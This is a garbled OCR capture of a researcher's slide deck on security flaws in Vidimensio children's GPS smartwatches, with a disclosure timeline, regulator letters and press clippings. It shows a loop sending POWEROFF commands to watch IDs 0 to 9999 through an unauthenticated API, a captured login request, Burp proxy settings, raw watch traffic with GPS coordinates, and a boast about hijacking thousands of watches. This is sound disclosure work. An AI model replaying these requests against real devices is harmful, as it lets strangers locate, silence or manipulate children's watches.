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All contents shown here exclusively reflect my own opinion and have no direct connection
with my employer.




Source: sternTV 22.11.2017
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Federal Network Agency stern TV reviews is
releases ban for smartwatches broadcasted
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Source: AliExpress
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Deutsche Online
Anleitungen

Support jeden Tag
10:00 - 22:00

Wasserd:chte GPS Uhren

1 F
Email / Telefon
54 fhiliate Proms

Login &-Benh.len mit

Deutsche App
amazon mit eigenem
SOFORT Server
UBERWrISUNG
Klarna. "

PayPal

Source: Vidimensio
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HTTP(S)

g)VIDIMENSIO

GPS-TRACKERS

SMS (Configuration / Commands)

> B

GSM/ 2G
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0 g)VIDIMENSlO 0

Where is our kid? GPS-TRACKERS

o Command: FIND
GPS coordinates e

GPS coordinates
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15 MINUTES LATER
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Access key / tokerI
Where does it come frome?

How is access to other watches protected?
Unencrypted HTTP
Risk: eavesdropping and manipulation in insecure networks
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‘> cd » . 2:01 w S1atic Analysis % = WebService jova LA
apktoal d com. fw.'.'xdwrdd-
rack_2018-07-17.apk
Loading resource table. ot'e e
Decoding AndroidManifest.xml with resources... gy rernd
Loading resource table from file: /Users/cd/l ary/apktool/f . java, w24] concurrens . Jocks. Lack

T

1AVE AVEL] . CONCAr rert JOoChs Beettr posLach

Regular manifest package...

jave.otil 2ip 1M irgeticrome
Decoding file-resources... JaVe VE11, 21D SZIPOVTPATSET N

org.omlpuldl vl adMullfarser
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com. fw.viditrack_2018-07-17/smali/com/fw/gps/util/WebService.sma senion-moree
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f-t!“;.’]g V(’J, " » Thead getThvens
com. fw.viditrack_2018-87-17/smali/com/fw/gps/util/WebService.sma - NP
. "

string vo,
com., fw.viditrack_2018-07-17/smali/com/fw/gps/util/WebService.sma

"
sancler Joasirglialoglismlnnsanglier

tarcler loadirgbialogearsler

- .- t y MRl er  JOaE)ngR T o vand | ee
string vo, " - ; bdaloy loadirgfrogreasdialog
com, fw.viditrack_2018-87-17/smali/com/fw/gps/util/WebService.sma PrIvATE SITING Methodhane

mardler shardlcer

‘_.t('iﬂg VO, o 21" ' s s R
com. fw.viditrack_2018-087-17/smali/com/fw/gps/util/WebService.sma Mring poathenaage
string v, " " e pasiep :.I-...u.-nu:

‘ > cd ‘ | £t ; ¢ String serverPath
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L 4

A1706733
Offine Battery 83%

A1705733 WIFI (maybe not exact, no GPS ssgnal)
200810-1508.58 26
Speed 0.00mvh

»AYT06TI3
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2

History tracking
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0 {J VIDIMENSIO e

Where is our kid? = GPS-TRACKERS

o Command: FIND
GPS coordinates e

GPS coordinates
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@  This XML file does not appear to have any style information associated with st. The documesnt tree 15 shown belon:.
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NERABLLETIES

1. Unencrypted communication between the app and the backend API
2. Writetap function can still be used

3. Missing authorization of the backend API
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Would it grant security with my app, if the
unencrypted connection would remain, but the
app with each command would always send the

password and if this is not true, the server does AW L i
not answer. FACEPALM

When w
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Actually, | do not understand why someone would use the app in an open network
and why would someone sit there and intercept the data transfer. Does it really
happen that often, or how is it done? In this regard, are Internet Cafes at risk or other
corporate networks or wifi from cities such as public multimedia stations?
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DISClOSUNENTINELINE!

28.12.2017: Vulnerabilities discovered
29.12.2017: Finalizing report
02.01.2018: Shared finalized Report to Vidimensio by heise

Jan. - Mar. 2018: More than 20 Mails answering questions and giving
recommendations

29.03.2018: 90-day disclosure deadline expires

--> Release to the public
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A ochiicheen  Bundesiinder  SOWM  Spont  Adabel  Dightal  Frelzeilt  Auto  Treads Videos Service

Tt wPaper  Kroee mabie

help @ ORF.at
— T

Osterreichische Kinder-Smartwatch wurde
ur Wanze

Ole Smartwatch Puladin® des Saterrelchischen Herstallers
Vidimensio ist eine 30 genannte TrackingUe, Sie wirde entwickelt,
camit Bters ibee Kinder via GFS Gbermachen usd oeten kianen,
©xperten des deutichen Computarmagazing (c't™ habes masiive
SicnerneitslDoen festgestelit. Hacker kdnaten die Unr problemios in
eine Wanze verwandeln. Der Herteller wehrt sich und meint, daw

oe Doven mittherwed werden.
in Ser Beutigen Tait sel fr Eitern e Ortung der
""‘“o""" Grader DEsoIders Wit Gewanden, schreist die
pr, db Firma Vidimenyio asf ree Webiioe. 2u Oletors
IPRMEOMEOAL R, JEO
ag e 1140 U s Bagie O Dweck erreugt das Unternehmen mit Adressen in

Wien usd London GPS-Utven, mit Sesen der
Auferthamion von Pernsones Jederzeit festpestel® werden kasn. Durch
eisen Hacker warde das Computerfachmagarn C't™ des deutsches
Hehe Vertags asf de Smartwatch Paladn asfmerkiam gemachs, Mit
Hife Gieses Modells war s dem Hadker i Rekoedzeit gelangen, den
Server von Vidimensio nu knackes,

Source: heise.de / orf.at / spiegel.de
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GPS-Tracker
CIHVIDIMENSIOQ SP>Tracker

Am Freitag den 17.11.2017 hat die Bundesnetzagentur die SOpenannte s e
uhren verboten

No wiretap function

On Friday, 17 November 2017, the Federal Network Agency banned the so-called wire tap of GPS children's
watches.

This monitoring function enables parents to access the microphone of the children's watch unnoticed.

The Federal Network Agency has tested our Vidimensio watch and confirmed in writing that it has no wiretap
function.

It is therefore impossible to call a telephone number unnoticed from the watch, either by oneself or by strangers,
so this is without a listening function.
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0900

Konfiguration (beta)

Nummernauswahl: 09005313373

gewdhite SRN: Dienst wahlen Dienst konfig.

09005313373

Vokebax
Hier koonen Sie thre Servicenfnummer konfigurieren, also mir einem Dienst oder einem Routing belegen

Wahlen Sie bitte zuerst einen Dienst und danach die Konfiguration,

Statusanzeige: rol = Flr die Nummer muss noch ein Dlens! gewahit werden
- Nummer ist mit einem Dienst versehen, es fehlen noch Ansagen oder Zierufnummern
grin ~ die Nommer Ist funksionstochrig und kann genuszt werden

Diensibeschreibur  Bme geben Sie einen Nurzungsrweck an. 2 8. Hotline, Erotitling
IT-Security infolne and Malbox

frei tarifierbar, Preis laut Ansage, maximal 3 Euro pro Minute, alternativ 10 Euro pro Anruf Premium-Rate Dienste
08001, 09003, 09005 und D200 in Benutzung, Rest frei
Details siehe Raigeber
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FORIiIN 0-9999; DO

POST http://trackerapp.vidimensio.com:7757/cpenapiv3.asmx/SendCommandByAPP HITP/1.1
Accept: text/html, application/xhtml+xml, application/xml

Content-Iype: application/x-www-form-urlencoded; charset~UIF-8
Content-Length: 126

User-Agent: FuckYou
Connection: Keep~-Alive
Host: trackerapp.vidimensio.com:7757

SN=:iCommandType=POWERCFFiParamter=:iModel=0LiDevicelD=isKey=<removed>
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in
Cookies 1Legal Notics |Contact |Search English [T (GPS)

UINERS +442030950500  About Services Even 5 s
fendtabic Gy S et I 3 4442030950500  About Services Ever hon
o e Aok CONSUMERS
BLOG: INTEANET OF THINGS E
Tracking and snooping on a million T vasion  Safety Gato: Ragyd Alert Systom for dangercuss non-100d products ",
kids GPS watch issues... AGAIN e
arovzos

The Rapid Alert System for Non-Food Products (RAPEX)
Alert number: A12/0157/19 &nmnnn 2

Product: Smart waich for chidren Category: Other
Name: Safe-XD-Cre Brand: ENOX
Batch number / Barcode: 4260088660047 Type / number of modet: Uninown
Type of alert: Serious
Haggerston Pk types Other

The mobile application accompanying the wasch has Unencrypted COMMINCANIoNS WIth Its backend server and the server enables Lnauthenticated
00083 10 Cata. AS & CONSQUINce, The data Such a8 I0CaTion Nistory, Phone nUMbers, serial nUMDer can easly bo retreved and changed.

A malicious Lser cn 56 COMMAnds 1 ary watch Making it Cal anOther NUMber of NS CAOOSING, CAN COMMUNKAtE Wth e chid wearng T
device or locate the chid through GPS.

4 &‘ Park
» Alwuanl

How | found vulnerabilities that could jeopardise child safety.

The product o ot comply wen e Racso Equpment Directive.
Measures ordared authorities (to: Distributor): Recal of ¢ from end users
Over the last year of looking at kids GPS tracking watches we have found By piblly e ory Peaall of Wiy product o, Sod
some saggering fasues. With these devices t aslmost seems that having multiple Description: Smart walch for chicken In 8 Cardboard box 12x1Sxicm. the roduct was sokd onine.
security issues & the new normal Country of origi: Germany Nort submitted by: icolard

How it started

Afriend recently showed me a tracker watch that he'd purchased foe his young son for
Joss than £10, 1t offered useful functionality such as two-wary calling using & SIM and While parents and guardians may get a feeling of security from using these devices, our
ack the location of s son testing and research shows It's just that, a “feeling”

cellular connection, The accompanying app allowed Nim to
He was interested in the security of the device, 50 | had a look. it was bad... really bad.
Acouple of years ago we bought and reviewed a number of smart kids tracker watches,
It was a Misafes 'Kids Watcher’, which we found on Amazon, eBay and various other ncluding some Gator watches from TechSixtyFour

online retadiers:

After chatting to cur friends at the Norwegian Consurmer Couril, who we know wel
through My Friend Cayla, we discovered they were working on exactly the same tech, by

Prenciey o complete coincidence

W decided to pause our project to avoid us duplicating their efforts. Shortly attar, the
Norwegian Consumers Councl published the excellent WatchQut” research that
demonstrated trivial access to kids GPS locations through vulnerable tracker watches,
KID'S ncluding the Gator.
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Keine Abh

17.01.2077 hat die Bundesnetzagentur die 9

Am Freitag cen

uhren verboten

No wiretap function

gl the so-called listening function of GPS

On Friday, 17 November 2017, the&gderal Network Agencén
children's watches.

This monitoring function enables parents tgfa fophone of the children's watch unnoticed.
The Federal Network Agency has tested offr Vidimensio watch and confirmed in writing that it has no wiretap

function.
It is therefore impossible to call a telephone number unnoticed ﬁREﬁth?, ey oneself or by strangers,

so this is without a listening function. e
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« No notification by the vendor to upgrade the firmware

FIRMWATE:

« No remote update function

« Watch still illegal because of wiretap function within the firmware

()
— F

» Destroy or Upgrade
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Q VIDIMENSIO « nfa@viimentsio coms SO 11 Now. 2008163 1y &

—— anmch =

Fir das Upcdaten der Uhr und R
Sind Sie damit erverstanden 7

Do you agree with this ?
Mt T indtie e o iflas




o
‘;) cd & 16% (4:27
>> binwalk --dd='.»' jt_ads.bin

DECIMAL HEXADECIMAL DESCRIPTION
1867160 Ox2D956 Copyright string: "Copyright ¢ 2003 by CC"
225443 Ox370A3 Copyright string: "Copyright ¢ 2003 by CC"
226714 Ox3759A Copyright string: "Copyright ¢ 2003 by CC"
‘i) cd ) ‘f 16% (4:27)
>> strings _jt_ads.bin.extracted/» | grep monitor
sms_monitor_handle.%s.
ok!
vuart_mos _handle.p_monitor:%s.
y 0S5
, OK
‘) cd ‘ { } /
»> B
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SHUIUMILIABILITY
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Drensistotie Geschansze Denststelie oschafszechen

Hamb8/50-a und -1 6216-2018-449-2 | | Hamb8/50-a und - 6216-2018-449-2

Dienstsiedie Geschaftszeichen = Fax Bonn

Hamb8/50-a und -| 6216-2018-449-2 [ | 15.05.2018

Betref!
Testergebnis Kleiner Tiger" - Vidimensio

Botred Betre
Testergebnis Kleiner Affe” - Vidimensio I Testergebnis .Kleiner Pinguin® - Vidimensio

Im Rahmen des am 08.05.2018 durchgefihr¥ | Rahmen des am 08.05.2018 durchgefuhrten Tests w
Smartwatch _Kleiner Affe” Gber eine Abhorfud  gmartwatch ,Kleiner Pinguin® Gber eine Abhorfunktion vd

; d“;i’h dug&aszlégehonng Vidimer} 1. durch die dazugehdrige App .ICare++* Gber eine
ol elnllil Lo 2. auf den SMS-Command
reagiert,

fi 2 -
3. mittels der App .find my kids” gesieud 3. mittels der App .find my kids" gesteuert werden K

Zu 1: Die Hersteller-App ,Vidimensio GPS-Ttl
eigene Abhdrfunktion

Zu 3: Die Kinderuhr Kleiner Affe” kon|
Bei dem mehrmaligen Versuch, eine
erschien ein Hinweis auf eine VerbindTyse

Ergebnis: Das Kinderuhrmodell Kleiner Pinguin® verfigt
somit nicht gegen § 90 TKG

dennoch nicht Gber die App ,Find my kids® g¢

Im Rahmen des am 08.05.2018 durchgefiihrten Tests wurde Gberprift, ob die Kinder-
Smartwatch Kleiner Tiger* Gber eine Abhorfunktion verfigt. Hierzu wurde getestet, ob die Uhr

durch die dazugehorige App .Vidimensio GPS-Trackers" Uber eine Abhorfunktion verfogt,
auf den SMS-Command
reagiert,

3. mittels der App .find my kids* gesteuert werden kann

1
2

ckers” wurde geprUft und verfigt nicht Gber eine

tels der App .find my kids" gesteuert werden. Der
mehrmalige Versuch, eine Verbindung (ber die App zur Kinderuhr herzustellen scheiterte

Ergebnis: Das Kinderuhrmodell Kleiner Tiger® verfigt Gber keine Abhorfunktion und verstoit
somit nicht gegen § 90 TKG

Ergebnis: Die Kinderuhr Kleiner Affe” verfugt Gber keine Abhdrfunktion und verstoRt somit nicht
gegen § 90 TKG

Source: https://fragdenstaat.de/anfrage/bundesnetzagentur-geht-gegen-kinderuhren-mit-abhorfunktion-vor-und-bestatigt-auch-die-rechtmaigkeit/
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Source: https://trackers.vidimensio.de/unterschiede-aufbau
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SALCRLEE

NOOOOO:

- BNetzA has only checked 3 / 20 models and has attested no wire tap inside

- > Also by the app and by SMS

- How does the APl enforce authorization / authentication in 2019?
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Request

Params | Headers | Hex

i’ e

ree/? e =comPagps AV WehSenvce o)

bl - a4
L. S
Inpert
ispore
Imgurt

e

TN LT g

Jove Wil Set:

Jave il vecter !

Java wtil concerrert . Jocks . Lock;
JOVE VLY CONCAr Fent  Jochs Beertr

POST /openapivi.asmx/Login2 HTTP/1.1

Accept: text/html,application/xhtal+xnl,application/xal

Content-Type: application/x-www-form-urlencoded; charset=UTF-3

Content-Length: 91

User-Agent: Dalvik/2.1.8 (Linux; U; Androild 7.1.1; Custom Phone - 7.1.0 - API 25 - 768x1280
Build/NMF26Q)

Host: trackerapp.vidimensio.com:7757

Connection: close

lsport jave.otil. 2ip R2IMirgeticreas;
et Jawve weil 21p ssrovepecscress;  |ACCept-Encoding: gzip, deflate
igert org.oalpedl vl KadPullParser
Ipert prg il v omindirersectaces| Log LnAPP=V id Lnens LOGGMT=-5%3A00&Log LnType=16Pass= &Name= &Key47DU2DIFDAB321
I
pablic claas webtService ( $
PrAvaze anazic flral Mring SORIrAC
private atatic boolean 13Seppe LA T ————— T
(PrIVIe SXring SRy T CIIRCTUPOeRIIICS | Response
pServiteSepeaitery & tow Vet -
privace Lock weblervicetepositoryleck © rew Ssestrastieck(); Headers | Hex | XML
Privace Cortest coecers; HTTP/1.1 200 OK
privale SEring fialeg Cache éontrol'
P - : private, max-age=0
privecs fusmshile gocivanahie; Content-Type: text/xml; charset=utf-8
rvnnfc Thead p(mnl = sall: Vary: Accept-Encoding
privase boclean grip Server: Microsoft-1I15/7.5
privete 1t 10 X-AspNet-Version: 4.0.38319
privace sandler loasing®ialoghdssdsssandler; X-Powered-By: ASP.NET
privite teadler JenkisgSdalegiendior; Date: Fri, 15 Mar 2019 67:56:16 GMT
ErAvate Mardler Joadingrrorvandler Connection: close
privece Ddalog loadingfrogreasdialog: Content-Length: 435
IFIvaTe SITING Methodhane
private mandler shanéler; <?xml version="1.0" encoding="utf-8"?>
BOO) e needcanalrror <string
“'”’ poatiessage . xmlns="http://tempuri.org/">{"state":"0", "deviceInfo":{"deviceID":"224" "se
PrINass “'f" resalt & mdl; . ndCommand":"0-0-0-0-0-0-0-0-0-0","deviceName":"A17-06733", " "timeZone":"-5:00
Irivese booleas reciriyThrees: *,"version":"1.1" ,"model":"705" ,"uri":"" ,"warnsStr":"1-1-1-1-1-1-1-1-1-1-1-1
privete SEring serverPath & “RELp //tracherape. widisenals com 778 = waonge " =

"key2018":"yR2T+SgtpHGpMuX5/6MxItefKmT/N6GegrSUAOCLTAVVSSYSunl1R2DZVYyNT/FXw
"}}</string>
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nev arddolenyptefownlyourd own

Keys:

hBTFzC2I3YMu+6/vaAPb+b+o1cvlLzgaYlgnsWktGs6EgcEso2qtvWQhOuAXZQWBn
hBTFzC213YMu+6/vaAPb+a2GXPHe4/nINMdU+ilDJ7gdoljyNL116pYCJAQ5fx91
hBTFzC2I3YMu+6/vaAPb+Z/LQgt740RPvvKn5nMe042/6cUIOfOptY/fabGOsré6p
hBTFzC2I3YMu+6/vaAPb+c/MOyRLbU61g+ZkE6+7NQXyK+aVFOhFwXnvfjrgyLUo

hBTFzC2I3YMu+6/vaAPb+WqW5q/3WUXOv3+TEOKjRX0sCaXuDfKldppK3CeMnn4p
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nev arddoleryptofowntyourdown

Repsonse time 13:00:10:
hBTFzC2I3YMu+6/vaAPb+b+01cvlLzgaYIgnsWktGsé
EgcEso2qtvWQhOuAXZQWBn

%( Give me a new session Repsonse time 13:00:49:
—— hBTFzC213YMu+6/vaAPb+b+o1cvLzgaYIqnsWktGsé
EgcEso2qtvWQhOuAXZQWBn

@ VIDIMENSIO

GPS-TRACKERS

Repsonse time 13:01:20:
hBTFzC2I13YMu+6/vaAPb+a2GXPHe4/nINMdU+ilDJ
7gdoljyNL116pYCJAQ5fx91
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L A Burp Sequencer (live capture #1: https://trackerapp.vidimensio.com:7757]

(3 Uvecapture (stoppedy || |
Pause | Copy tokens | B Auto analyze Requests: 228
Stop | Savetokens | | Analzenow = Errors: 11

MWWWWMB !R-hvdmmu !Aumuomns |

I

Overall result

The overall gualay of randomness within the sample is estimated to be: extremely poor.
At a significance level of 1%, the amount of effective entropy & estimated to be: O bits.

Ne Chavracter-fevel analvsis wis no performed Becavse the samole su0e 13 100 saull relithve 10 the sire oF 1he character set waed i e sampled

foseis
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Firedane

€ ) cd > & 49% (2:19)
L3> cat map.12032019 | wc -1

2953
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GPS AL7- 06710 & lnﬁﬁ o ALroern B
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Befehl wahlen:

Befehl: :
Gerat :

Passwort :

Control-Befehle '! Einstellungs-Befehle

Version

A20-05570

Passwort bitte fir A20-05570 Angeben;

\_~
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Respone
maacers | Mes | ISON Desstter
/ValidPaswword NITH/L 4 NITP/1.1 209 %

Bowe .widinensio com CacheComuel: puivates, max-age~d
Tasr~Apent . Bosdliard 0 Windews BT 4 L) Vindd,: »ofd, v 81 00 CackosI0i0000L Taxelen/ed) 9 Comtant~Type spplicsim/isen, charset = (-5
Aveegt  spplicst i/ isen, Sest/javascrigh, "/% q+0. 04 Server Macrosafe-1E0/7 0
Avcegt ~Language o UK eniqed A KeAspSen ~Tersiom' 4.0, 2331
Accept-Eacading ysip. delisne KoPownsed-By ALY MY
Baternr: Dace: Sax, T8 Jan 2019 ZT1310 42 Y
»rps M/ Conmection: olose
Conmom«Type: mpplicasion/jsomn Contens «Lengeh: 7
YXehoguestad Fith XMLNctpReguest
Comzent *Lemgeh: 82 (et

Comnection: close

Coskin. Jogindnlinel=4T0070NT10: LeqginiaiTeerPassr, loginienllnesdass,

ASP . FET_Tessionldrng Gpobbhptnlengyr 4gr Inin

CARYATTRA A2 I MBI LIV EROQELATDA IS RO TSRS EPOSACARD D LA NROY YR CTOR AL O IR AR ACAAT AN T D0
T AN R I TR R S T TR N A T I Y SO AL Y LR PO PA MY P A TIACKE AN CITOM A TATT AN 10
ARTECRAC AR ARO I SAT M JARACOD LTINS R M AT M 0N M N IRSOCO TA IR LACARP IS ORICW
SPCREAPOASEZAANDULTRANSS

[uu:n:u,ms«u: G Pass: 12347, Legantype: 2} \ ' . e
Valid credentials
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<button Ld="senditn™ type="button™ onclick«"senalmdiInfo();"
style«"background .color: o1 fBcce ;cursor:pointer; fomt
seight:bold; width:Gopx; height:23px; border:px;
color:shite; “X>Ouc/button> et
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These setings are used 10 automancally replace parts of requests and responses passing through the Proxy

Ada Enabied nem Masch Repdace Type Commen
Request header AReferer s Regex Hde Referer header .
tdn Request header SMAccept-Encoding 4 Regex Require non-compressed respons r
Rasponse header ASet-Cookn '3 Hegex Igncre cookor
Remove Request header AMost foo.example 0rg s Host Bar example org Reges Rewrite Most header g
Request header Orign: oo example.ong Lineral Add spoofed CORS orgin
Up Eesponse header ASEr it ~Transport) -Sec Regex Remove HSTS deaders

Response body a0 1 Lteral Chent-sxde securny always SUX )
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Aktualnsnerungnach 10 Sekunden

’S % %5 o ==
8 % % ‘@) NOOOOQO:
% < Jg-,% % &\;Q‘/
%" (7 ?-3’ ;;._ %? (\’b(*e
2% — U U
%‘ \merStraIle
A (i .. * Communication between smartwatches and
" %, 0P S . .
; g, o\ backend is not authenticated and not encrypted
%, S
N \AW— L wWIR . .
A an * Example manipulate GPS coordinates of any watch
i VI —
YRz dg@; § ‘f-['
§ Z%'Weg i
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r'g
WV
- GPS RACKERS

GSM/ 2G

SMS (Configuration / Commands)

>




[3G*4700707028+00A8+UD,170319,173941,V,49.085505,N,9.1914800,E,0.00,0.0,0.0,0,56,
58,0,0,00000010,2,255,262,3,59061,55363,130,59061,15363,124,1,FRITZ!Box 6496 Cabl
e, 7c:ff:4d:2:f0:a,-88,18.7]> 2019/03/17 17:42:44.303155 1length=189 from=4344 to=
4532
[3G*4700707028+00A8+UD,170319,174242,V,49.085505,N,9.1914800,E,0.00,0.0,0.0,0,50,
59,0,0,00000010,2,255,262,3,59061,55363,128,59061,15363,123,1,FRITZ!Box 6490 Cabl
e,7c:ff:4d:2:f0:a,-83,18.7]> 2019/03/17 17:46:20.097151 length=171 from=4533 to=
4703
[3G*4700707028+0096+UD,170319,174552,V,49.085505,N,9.1914800,E,0.00,0.0,0.0,0,24,
55,0,0,00000010,1,1,262,3,59061,55363,123,1,FRITZ!Box 6490 Cable,7c:ff:4d:2:f0:a,
-85,18.7]> 2019/03/17 17:46:48.315173 length=30 from=4704 to=4733
[3G*4700707028+0009+LK,0,0,55]< 2019/03/17 17:46:48.341995 length=23 from=230 to
=252

[SG*x4700707028*0002+LK]> 2019/03/17 17:54:49.134246 length=30 from=4734 to=4763
[3G*4700707028+0009+LK,0,0,58]< 2019/03/17 17:54:49.161156 length=23 from=253 to
=275

[SG*4T700707028+0002+LK]> 2019/03/17 18:02:49.886094 length=30 from=4764 to=4793
[3G*4700707028+*0009+LK,0,0,58)< 2019/03/17 18:02:49.912956 length=23 from=276 to
=298

[SG*4700707028+0002+xLK]> 2019/03/17 18:10:50.497434 length=30 from=4794 to=4823

[3G*4700707028+0009+LK,0,0,58]< 2019/63/17 18:10:50.524412 1length=23 from=299 to
-2
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Weekend fun. Hijack 7000 GPS watches and use them to print funny things
on maps ... GPS based ads is my new service :)
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Researcher prints 'PWNED! on hundreds of
GPS watches' maps due to unfixed API

N ——————

White Papers: White Paper What Hackers Know That You Don't identty Assurance in
Ve gl Age
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e Current Status:

+ An-attackercancontroll AL -watehes

 Hundreds or even thousands of watches with a wire
tap function are still in use

«  Without proper product liability nothing will change
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HAVE ANYIOUESTIONS

. - ‘f




